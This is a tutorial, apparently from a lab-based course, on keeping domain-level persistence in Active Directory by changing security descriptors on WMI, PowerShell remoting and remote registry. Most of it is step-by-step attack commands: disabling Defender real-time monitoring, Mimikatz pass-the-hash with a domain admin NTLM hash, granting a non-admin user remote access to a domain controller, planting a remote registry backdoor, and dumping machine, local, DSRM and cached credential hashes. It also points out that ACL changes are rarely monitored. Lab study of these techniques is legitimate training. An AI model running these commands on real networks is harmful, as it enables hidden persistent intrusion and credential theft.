Domain dominance Using ACL’s - Security Descriptors, Part 8

 

In this lession we will be continuing our discussion on persistence as we have domain admin privilege.

Lets discuss about persistence with acl’s specifically host based security descriptors. Once we have local administrator access on a box it is possible to modify security descriptors. For example, groups, sacl, dacl etc. of multiple remote access securable objects like wmi, powershell remoting, remote registry etc. so that the non-admin user can access it.

By default only administrators are allowed to use remote administration tool to login remote machine and execute commands etc. But by modifying security descriptors of these protocols, we can make our controlled user to give that same power. Then that user will be allowed to access remote box and execute commands. We need administrative privileges to the target machine to do this. This will be more clear soon.

Persistence time is very long. There are very less organization who monitor acl and acl audit logs.

ACL's can be modified to allow non-admin users access to securable objects like wmi, powershell remoting, remote registry etc. 

On local machine for student1:

. .\Set-RemoteWMI.ps1

Set-RemoteWMI -Username student1 -Verbose

On remote machine for student1 without specifying explicit credentials:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose

On remote machines with explicit credentials. Only root\cmv2 and nested namespaces:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -Credential Administrator -namespace 'root\cimv2' -Verbose

On remote machines remove permissions:

Set-RemoteWMI -Username student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Remove -Verbose

Please keep in mind that if you run the script against domain controller you must run the script with domain admin privileges. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

Now from this shell type:

. .\Set-RemoteWMI.ps1

Set-RemoteWMI -UserName studentadmin -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose  (Here DA credential is not required because we are already in DA privs shell)

Now from studentadmin non-privs shell type below:

Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Security descriptors using powershell remoting:

On local machine for student1:

Set-RemotePSRemoting -UserName student1 -Verbose

On remote machine for student1 without credentials:

Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc -Verbose

On remote machine, remove permissions:

Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc -Remove 

Now from privs domain admin shell type below:

. .\Set-RemotePSRemoting.ps1

Set-RemotePSRemoting -UserName studentadmin -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose  (Here DA credential is not required because we are already in DA privs shell)

Now from studentadmin non-privs shell type below:

Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName dcorp-dc.dollarcorp.moneycorp.local 

You will see that you can access. 

Security Descriptors using remote registry:

Using DAMP with domain admin privs on remote machine:

Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee student1 -Verbose

As impersonate student1, retrieve machine account hash:

Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose

Retrieve local account hash:

Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose

Retrieve domain cached credentials:

Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose

Now from privs domain admin shell:

. .\Add-RemoteRegBackdoor.ps1

Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee studentadmin -Verbose

Now from studentadmin no privs shell:

. C:\AD\Tools\DAMP-Master\DAMP-Master\RemoteHashRetrieval.ps1

Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose

Get remote local account hash:

Get-RemoteLocalAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose  (Here you will get remote dsrm account hash)

Avi